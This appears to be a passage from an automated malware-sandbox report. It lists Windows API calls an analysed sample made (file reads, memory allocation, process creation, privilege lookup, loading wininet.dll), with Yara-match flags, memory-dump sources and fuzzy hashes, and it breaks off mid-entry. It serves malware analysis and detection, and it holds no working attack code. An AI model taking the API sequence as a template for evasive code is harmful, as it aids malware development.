                                                                                    				return E038B5720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
                                                                                    			}










                                                                                    0x038bfdda
                                                                                    0x038bfde2
                                                                                    0x038bfde5
                                                                                    0x038bfdec
                                                                                    0x038bfdfa
                                                                                    0x038bfdff
                                                                                    0x038bfe0a
                                                                                    0x038bfe0f
                                                                                    0x038bfe17
                                                                                    0x038bfe1e
                                                                                    0x038bfe19
                                                                                    0x038bfe19
                                                                                    0x038bfe19
                                                                                    0x038bfe20
                                                                                    0x038bfe21
                                                                                    0x038bfe22
                                                                                    0x038bfe25
                                                                                    0x038bfe40

                                                                                    APIs
                                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 038BFDFA
                                                                                    Strings
                                                                                    • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 038BFE2B
                                                                                    • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 038BFE01
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                                                                    • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
                                                                                    • API String ID: 885266447-3903918235
                                                                                    • Opcode ID: 5e8f14d8da43387c4cb5d6ff90c7e553bb4221a5b855dbccef74e2af89eb621d
                                                                                    • Instruction ID: 790aed51b48bd2d47eb4942e0688cd841984e6292450aee6f74a68af17cb735b
                                                                                    • Opcode Fuzzy Hash: 5e8f14d8da43387c4cb5d6ff90c7e553bb4221a5b855dbccef74e2af89eb621d
                                                                                    • Instruction Fuzzy Hash: F5F0C836200201BFDA215A89DC01E67BB6ADB45730F140254F624992D1D962B83086A5
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Executed Functions

                                                                                    APIs
                                                                                    • NtCreateFile.NTDLL(00000060,00000000,.z`,00A73B87,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,00A73B87,007A002E,00000000,00000060,00000000,00000000), ref: 00A781FD
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, Offset: 00A60000, based on PE: false
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CreateFile
                                                                                    • String ID: .z`
                                                                                    • API String ID: 823142352-1441809116
                                                                                    • Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
                                                                                    • Instruction ID: c62fcbff00ca2c729bf944311caeac849da2e304db0e2f3d425352e766db057f
                                                                                    • Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
                                                                                    • Instruction Fuzzy Hash: 6EF0B6B2200108ABCB08CF88DC85DEB77ADAF8C754F158248BA0D97241C630E8118BA4
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    • NtReadFile.NTDLL(00A73D42,5E972F59,FFFFFFFF,00A73A01,?,?,00A73D42,?,00A73A01,FFFFFFFF,5E972F59,00A73D42,?,00000000), ref: 00A782A5
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, Offset: 00A60000, based on PE: false
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FileRead
                                                                                    • String ID: h
                                                                                    • API String ID: 2738559852-2439710439
                                                                                    • Opcode ID: 55302a48981628ad8b04df9895cc94dd5b000fc40a85c7413954e589103415fa
                                                                                    • Instruction ID: 4910cbc042f8d91bc86a540e27f966529dab61f760aab63bbc4302925916365a
                                                                                    • Opcode Fuzzy Hash: 55302a48981628ad8b04df9895cc94dd5b000fc40a85c7413954e589103415fa
                                                                                    • Instruction Fuzzy Hash: 91F0E7B2200108AFDB14DF99CC84EEB7BA9AF8D354F158258FA0D97241DA30E815CBA0
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    • NtReadFile.NTDLL(00A73D42,5E972F59,FFFFFFFF,00A73A01,?,?,00A73D42,?,00A73A01,FFFFFFFF,5E972F59,00A73D42,?,00000000), ref: 00A782A5
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, Offset: 00A60000, based on PE: false
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FileRead
                                                                                    • String ID:
                                                                                    • API String ID: 2738559852-0
                                                                                    • Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
                                                                                    • Instruction ID: 29830e6e11f3772a47a2aa4c9733b592f89e4e0f43c01a0dee6afec8185fe18d
                                                                                    • Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
                                                                                    • Instruction Fuzzy Hash: 07F0A4B2200208ABDB14DF89DC85EEB77ADAF8C754F158248BA1D97241DA30E8118BA0
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    • NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,00A62D11,00002000,00003000,00000004), ref: 00A783C9
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, Offset: 00A60000, based on PE: false
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AllocateMemoryVirtual
                                                                                    • String ID:
                                                                                    • API String ID: 2167126740-0
                                                                                    • Opcode ID: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
                                                                                    • Instruction ID: bd375cae5972e09646434190fde80e5f209f18de517e8815a0f55010c028c8a9
                                                                                    • Opcode Fuzzy Hash: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
                                                                                    • Instruction Fuzzy Hash: 72F015B2200208ABDB14DF89CC81EEB77ADAF88750F118148BE0897241CA30F810CBE0
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    • NtClose.NTDLL(00A73D20,?,?,00A73D20,00000000,FFFFFFFF), ref: 00A78305
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, Offset: 00A60000, based on PE: false
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Close
                                                                                    • String ID:
                                                                                    • API String ID: 3535843008-0
                                                                                    • Opcode ID: c44a8083d374c2a451a60269da4eabcd5d1e58e9c1d9e7815e1b950ef5d908c0
                                                                                    • Instruction ID: b7137ab51ea611957584413d87e4d946909e8be3ead9e8b2718f91affc86d1a7
                                                                                    • Opcode Fuzzy Hash: c44a8083d374c2a451a60269da4eabcd5d1e58e9c1d9e7815e1b950ef5d908c0
                                                                                    • Instruction Fuzzy Hash: 24E086361402007FD710EFE8CC85ED77F59DF55360F144159F90D9B243C571A5008B90
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    • NtClose.NTDLL(00A73D20,?,?,00A73D20,00000000,FFFFFFFF), ref: 00A78305
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, Offset: 00A60000, based on PE: false
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Close
                                                                                    • String ID:
                                                                                    • API String ID: 3535843008-0
                                                                                    • Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
                                                                                    • Instruction ID: 0b4be83d532e0d40fe937dc79e34cb98080464b015ed291244d0142d80f4108d
                                                                                    • Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
                                                                                    • Instruction Fuzzy Hash: ACD012752402146BD710EF98CC45ED77B5CEF44750F158455BA1C5B242C930F90086E0
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.919390874.0000000004EB0000.00000040.00000001.sdmp, Offset: 04EB0000, based on PE: true
                                                                                    • Associated: 00000007.00000002.919650255.0000000004FCB000.00000040.00000001.sdmp Download File
                                                                                    • Associated: 00000007.00000002.919658285.0000000004FCF000.00000040.00000001.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: 6b2eda9a4450d10e9578b59561a57cf11091d4235d56dd68c077c91aeaab33d4
                                                                                    • Instruction ID: d138884e2bfb2332a5264af88902380f7f77d6ac63ce88a4d9b3c366b9767ca7
                                                                                    • Opcode Fuzzy Hash: 6b2eda9a4450d10e9578b59561a57cf11091d4235d56dd68c077c91aeaab33d4
                                                                                    • Instruction Fuzzy Hash: 949002A128201003610571594514616400A97E0255B61C021E5006590DC565D8927165
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.919390874.0000000004EB0000.00000040.00000001.sdmp, Offset: 04EB0000, based on PE: true
                                                                                    • Associated: 00000007.00000002.919650255.0000000004FCB000.00000040.00000001.sdmp Download File
                                                                                    • Associated: 00000007.00000002.919658285.0000000004FCF000.00000040.00000001.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: 0925f0db8784b646acd7130a3354c32dba3802836f854462a55457cfb38a40fc
                                                                                    • Instruction ID: e4ee5ab2948e8be8c3a6691c91014ccd6b4e16e8f1e2b7cc33d4a5dc230f734e
                                                                                    • Opcode Fuzzy Hash: 0925f0db8784b646acd7130a3354c32dba3802836f854462a55457cfb38a40fc
                                                                                    • Instruction Fuzzy Hash: F3900265291010032105A5590704507004697D53A5361C021F5007550CD661D8626161
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.919390874.0000000004EB0000.00000040.00000001.sdmp, Offset: 04EB0000, based on PE: true
                                                                                    • Associated: 00000007.00000002.919650255.0000000004FCB000.00000040.00000001.sdmp Download File
                                                                                    • Associated: 00000007.00000002.919658285.0000000004FCF000.00000040.00000001.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: d02a74f70d4a822e7083fdd022b18203a24f01e7e266e90fe0a5f12cd8e80ce8
                                                                                    • Instruction ID: a3db52db7cbd9909d5e335d2f089db598be3a0530c31f4421487d9956129df18
                                                                                    • Opcode Fuzzy Hash: d02a74f70d4a822e7083fdd022b18203a24f01e7e266e90fe0a5f12cd8e80ce8
                                                                                    • Instruction Fuzzy Hash: 1690027128109802F1106159850474A000597D0355F65C411A8416658D86D5D8927161
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.919390874.0000000004EB0000.00000040.00000001.sdmp, Offset: 04EB0000, based on PE: true
                                                                                    • Associated: 00000007.00000002.919650255.0000000004FCB000.00000040.00000001.sdmp Download File
                                                                                    • Associated: 00000007.00000002.919658285.0000000004FCF000.00000040.00000001.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: ca499298bb6858641b8628f1692bbce69e2f721d2ba499dca8b2076356dc2c24
                                                                                    • Instruction ID: 950b8caddcaf9932e4568b4d9755b380f4e608ae304fd0057effdd47446dcd29
                                                                                    • Opcode Fuzzy Hash: ca499298bb6858641b8628f1692bbce69e2f721d2ba499dca8b2076356dc2c24
                                                                                    • Instruction Fuzzy Hash: B790027128101842F10061594504B46000597E0355F61C016A4116654D8655D8527561
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.919390874.0000000004EB0000.00000040.00000001.sdmp, Offset: 04EB0000, based on PE: true
                                                                                    • Associated: 00000007.00000002.919650255.0000000004FCB000.00000040.00000001.sdmp Download File
                                                                                    • Associated: 00000007.00000002.919658285.0000000004FCF000.00000040.00000001.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: f5f74cdf579a80016cd6e7bf703728e6d048b763dd1d2a95c7919d568843fbe2
                                                                                    • Instruction ID: a8fe7b55c4a797ef1a9203a173536c520c9a2a8b50f4c6a3a7978cc93262ba90
                                                                                    • Opcode Fuzzy Hash: f5f74cdf579a80016cd6e7bf703728e6d048b763dd1d2a95c7919d568843fbe2
                                                                                    • Instruction Fuzzy Hash: B690027128101802F1807159450464A000597D1355FA1C015A4017654DCA55DA5A77E1
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.919390874.0000000004EB0000.00000040.00000001.sdmp, Offset: 04EB0000, based on PE: true
                                                                                    • Associated: 00000007.00000002.919650255.0000000004FCB000.00000040.00000001.sdmp Download File
                                                                                    • Associated: 00000007.00000002.919658285.0000000004FCF000.00000040.00000001.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: ff71f0b97f8ee91707355a7f057452fe1dd0c69bb7762b7ab878880d9be118e8
                                                                                    • Instruction ID: 8387244e385e92d5c8f0bf21e3260025d1f27b03c112082a4957f4554f4dd296
                                                                                    • Opcode Fuzzy Hash: ff71f0b97f8ee91707355a7f057452fe1dd0c69bb7762b7ab878880d9be118e8
                                                                                    • Instruction Fuzzy Hash: D990027128505842F14071594504A46001597D0359F61C011A4056694D9665DD56B6A1
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.919390874.0000000004EB0000.00000040.00000001.sdmp, Offset: 04EB0000, based on PE: true
                                                                                    • Associated: 00000007.00000002.919650255.0000000004FCB000.00000040.00000001.sdmp Download File
                                                                                    • Associated: 00000007.00000002.919658285.0000000004FCF000.00000040.00000001.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: dc8f3d283b27a5b05bf3161a763ec634db548bba71fa2dfd1151ea8da9a6bd2a
                                                                                    • Instruction ID: 2bb5bce831cf4cdf079d08ca3e190bacfb99ac58983cf95253d04a4148d30417
                                                                                    • Opcode Fuzzy Hash: dc8f3d283b27a5b05bf3161a763ec634db548bba71fa2dfd1151ea8da9a6bd2a
                                                                                    • Instruction Fuzzy Hash: C690027139115402F11061598504706000597D1255F61C411A4816558D86D5D8927162
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.919390874.0000000004EB0000.00000040.00000001.sdmp, Offset: 04EB0000, based on PE: true
                                                                                    • Associated: 00000007.00000002.919650255.0000000004FCB000.00000040.00000001.sdmp Download File
                                                                                    • Associated: 00000007.00000002.919658285.0000000004FCF000.00000040.00000001.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: 1e02e2f09696c187a51e89c507c27f49582f246a923eb70ecb1f23e4cfd0f7d2
                                                                                    • Instruction ID: b44d1fca247b45b8eac3ddcd1880a17120b3fbc2c7d97fbcbff089ec1570a845
                                                                                    • Opcode Fuzzy Hash: 1e02e2f09696c187a51e89c507c27f49582f246a923eb70ecb1f23e4cfd0f7d2
                                                                                    • Instruction Fuzzy Hash: 5590026929301002F1807159550860A000597D1256FA1D415A4007558CC955D86A6361
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.919390874.0000000004EB0000.00000040.00000001.sdmp, Offset: 04EB0000, based on PE: true
                                                                                    • Associated: 00000007.00000002.919650255.0000000004FCB000.00000040.00000001.sdmp Download File
                                                                                    • Associated: 00000007.00000002.919658285.0000000004FCF000.00000040.00000001.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: cecee5a2e0d632ce64f985eb1d7a8e1d09644cede28d20d2d4ca007118f2f50f
                                                                                    • Instruction ID: ab250b33f83e838dc99e1e5fd62e9a634bc0c324fd5760411b53590c5e290c2e
                                                                                    • Opcode Fuzzy Hash: cecee5a2e0d632ce64f985eb1d7a8e1d09644cede28d20d2d4ca007118f2f50f
                                                                                    • Instruction Fuzzy Hash: 6990027128101402F10065995508646000597E0355F61D011A9016555EC6A5D8927171
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.919390874.0000000004EB0000.00000040.00000001.sdmp, Offset: 04EB0000, based on PE: true
                                                                                    • Associated: 00000007.00000002.919650255.0000000004FCB000.00000040.00000001.sdmp Download File
                                                                                    • Associated: 00000007.00000002.919658285.0000000004FCF000.00000040.00000001.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: e8610f4ac7016fdb329811774f451bb934d2b413e87b876e82c75e1c9c9d8a5d
                                                                                    • Instruction ID: 30e776de8cb803e5ecabc15c5250e84207dea39d305b4fc569f219f4ebb7b16f
                                                                                    • Opcode Fuzzy Hash: e8610f4ac7016fdb329811774f451bb934d2b413e87b876e82c75e1c9c9d8a5d
                                                                                    • Instruction Fuzzy Hash: 0690027128101413F11161594604707000997D0295FA1C412A4416558D9696D953B161
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.919390874.0000000004EB0000.00000040.00000001.sdmp, Offset: 04EB0000, based on PE: true
                                                                                    • Associated: 00000007.00000002.919650255.0000000004FCB000.00000040.00000001.sdmp Download File
                                                                                    • Associated: 00000007.00000002.919658285.0000000004FCF000.00000040.00000001.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: 545562a15aaef1476205e973df48d8c9212ee66ebd5be2e88a5a8c10f1d0084e
                                                                                    • Instruction ID: 2e87273f68653a65c4edd8819314933529e93121ace4c7c917cda3b9a24563bd
                                                                                    • Opcode Fuzzy Hash: 545562a15aaef1476205e973df48d8c9212ee66ebd5be2e88a5a8c10f1d0084e
                                                                                    • Instruction Fuzzy Hash: DF9002612C2051527545B15945045074006A7E02957A1C012A5406950C8566E857E661
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.919390874.0000000004EB0000.00000040.00000001.sdmp, Offset: 04EB0000, based on PE: true
                                                                                    • Associated: 00000007.00000002.919650255.0000000004FCB000.00000040.00000001.sdmp Download File
                                                                                    • Associated: 00000007.00000002.919658285.0000000004FCF000.00000040.00000001.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: f149cdbfefbbfdb2671a1e2f55d1ed730bb1a32d8a5c4520d52e6291a678ed21
                                                                                    • Instruction ID: 9e26854c78f9dd38451c7328c860614dbe4f0fc35df3033bd80a2cd1e66e8369
                                                                                    • Opcode Fuzzy Hash: f149cdbfefbbfdb2671a1e2f55d1ed730bb1a32d8a5c4520d52e6291a678ed21
                                                                                    • Instruction Fuzzy Hash: 989002A13C101442F10061594514B060005D7E1355F61C015E5056554D8659DC537166
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.919390874.0000000004EB0000.00000040.00000001.sdmp, Offset: 04EB0000, based on PE: true
                                                                                    • Associated: 00000007.00000002.919650255.0000000004FCB000.00000040.00000001.sdmp Download File
                                                                                    • Associated: 00000007.00000002.919658285.0000000004FCF000.00000040.00000001.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: 57e399fdf4f07fe755c2c4a67c52581613f08acb3137ace23d613b943be58a27
                                                                                    • Instruction ID: d0c0f1ed504bb7d4a79a854b3655b5e14ebe75f9d8b25bafae86164f5b276ac7
                                                                                    • Opcode Fuzzy Hash: 57e399fdf4f07fe755c2c4a67c52581613f08acb3137ace23d613b943be58a27
                                                                                    • Instruction Fuzzy Hash: 079002B128101402F14071594504746000597D0355F61C011A9056554E8699DDD676A5
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.919390874.0000000004EB0000.00000040.00000001.sdmp, Offset: 04EB0000, based on PE: true
                                                                                    • Associated: 00000007.00000002.919650255.0000000004FCB000.00000040.00000001.sdmp Download File
                                                                                    • Associated: 00000007.00000002.919658285.0000000004FCF000.00000040.00000001.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: 68f4a47df0f406868dceefe2e9940926ba9136cb0e6751d067eaee78e28da8ec
                                                                                    • Instruction ID: c4925748f460988856ed7e33346c22667afbf436b6e4a54072a03fa50b49a9f3
                                                                                    • Opcode Fuzzy Hash: 68f4a47df0f406868dceefe2e9940926ba9136cb0e6751d067eaee78e28da8ec
                                                                                    • Instruction Fuzzy Hash: 6790026129181042F20065694D14B07000597D0357F61C115A4146554CC955D8626561
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    • Sleep.KERNELBASE(000007D0), ref: 00A76F78
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, Offset: 00A60000, based on PE: false
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Sleep
                                                                                    • String ID: net.dll$wininet.dll
                                                                                    • API String ID: 3472027048-1269752229
                                                                                    • Opcode ID: d587dad9b02e6da53202134dba226773cf49988327008f2b2850a1930fd7bfae
                                                                                    • Instruction ID: ed7fb154cd25e59e014b27f56657801ab1bf1fc3b6c35a893e339f5897cb12c7
                                                                                    • Opcode Fuzzy Hash: d587dad9b02e6da53202134dba226773cf49988327008f2b2850a1930fd7bfae
                                                                                    • Instruction Fuzzy Hash: 5A3170B5601B04ABC715DF68DDA1FA7B7B8AB88700F00C41DF61E9B241D730B945CBA1
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    • Sleep.KERNELBASE(000007D0), ref: 00A76F78
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, Offset: 00A60000, based on PE: false
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Sleep
                                                                                    • String ID: net.dll$wininet.dll
                                                                                    • API String ID: 3472027048-1269752229
                                                                                    • Opcode ID: 0bba799fddb9cd844c7b486e2380af9b664a86bdda432fd3d71cf455409163d9
                                                                                    • Instruction ID: be4be89dcd68bef85d4c44d0f1c823a42bd7d1a8cd9311a5fa7ad5267fcc2f70
                                                                                    • Opcode Fuzzy Hash: 0bba799fddb9cd844c7b486e2380af9b664a86bdda432fd3d71cf455409163d9
                                                                                    • Instruction Fuzzy Hash: 0821A0B1601704ABD710DFA8DCA1FABBBB8BB88700F10C02DF61D9B241D371A945CBA1
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    • RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00A63B93), ref: 00A784ED
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, Offset: 00A60000, based on PE: false
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FreeHeap
                                                                                    • String ID: .z`
                                                                                    • API String ID: 3298025750-1441809116
                                                                                    • Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
                                                                                    • Instruction ID: 674d759b857a26a6c46cf3417df2ced4e57c012f3979192a4665df5211b78401
                                                                                    • Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
                                                                                    • Instruction Fuzzy Hash: 5EE01AB12002046BDB14DF59CC49EA777ACAF88750F018554BA0857242CA30E9108AF0
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    • PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 00A672BA
                                                                                    • PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 00A672DB
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, Offset: 00A60000, based on PE: false
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: MessagePostThread
                                                                                    • String ID:
                                                                                    • API String ID: 1836367815-0
                                                                                    • Opcode ID: 53e5322b62eb909e761c59486e91cb807ee3ea7040c4705f1c47c4bf58bd69dc
                                                                                    • Instruction ID: a1e8090b41df1b2da96bc46efab4ab5724b036c98cca206c0e100237fac2b996
                                                                                    • Opcode Fuzzy Hash: 53e5322b62eb909e761c59486e91cb807ee3ea7040c4705f1c47c4bf58bd69dc
                                                                                    • Instruction Fuzzy Hash: 8B01DB31A803287BEB21A6A49D03FFF777C5B40B50F158115FF04BA1C2E6A4690647F6
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    • LookupPrivilegeValueW.ADVAPI32(00000000,?,00A6CF92,00A6CF92,?,00000000,?,?), ref: 00A78650
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, Offset: 00A60000, based on PE: false
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: LookupPrivilegeValue
                                                                                    • String ID:
                                                                                    • API String ID: 3899507212-0
                                                                                    • Opcode ID: 70ae9ff5aee0e13ccf269b9c6c60779b19484e5261be697e8cc1face582f254f
                                                                                    • Instruction ID: 2e5d28829b7d4cf9f74533400f1e9a0d0288273f6f6227a9c149a86ee51c0c39
                                                                                    • Opcode Fuzzy Hash: 70ae9ff5aee0e13ccf269b9c6c60779b19484e5261be697e8cc1face582f254f
                                                                                    • Instruction Fuzzy Hash: 0F015EB5600244ABDB10DF94DC81DEB77A9AF88314F01C149FD5D97342CA34E8218BF5
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    • LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 00A69B82
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, Offset: 00A60000, based on PE: false
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Load
                                                                                    • String ID:
                                                                                    • API String ID: 2234796835-0
                                                                                    • Opcode ID: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
                                                                                    • Instruction ID: 37f6769a64269aa1e7cc3e061c3f21ac9f698bc7f2f4c9d5b0dcc76ad41e25f6
                                                                                    • Opcode Fuzzy Hash: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
                                                                                    • Instruction Fuzzy Hash: 1201CCB5E4020DBBDB10EBA4ED42F9EB7789B54308F108295E90C97241F671EB548B92
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    • CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 00A78584
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, Offset: 00A60000, based on PE: false
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CreateInternalProcess
                                                                                    • String ID:
                                                                                    • API String ID: 2186235152-0
                                                                                    • Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
                                                                                    • Instruction ID: 2c99de55f2f354795d16c36788774766ea29b092267172746affc4f3b8e193c6
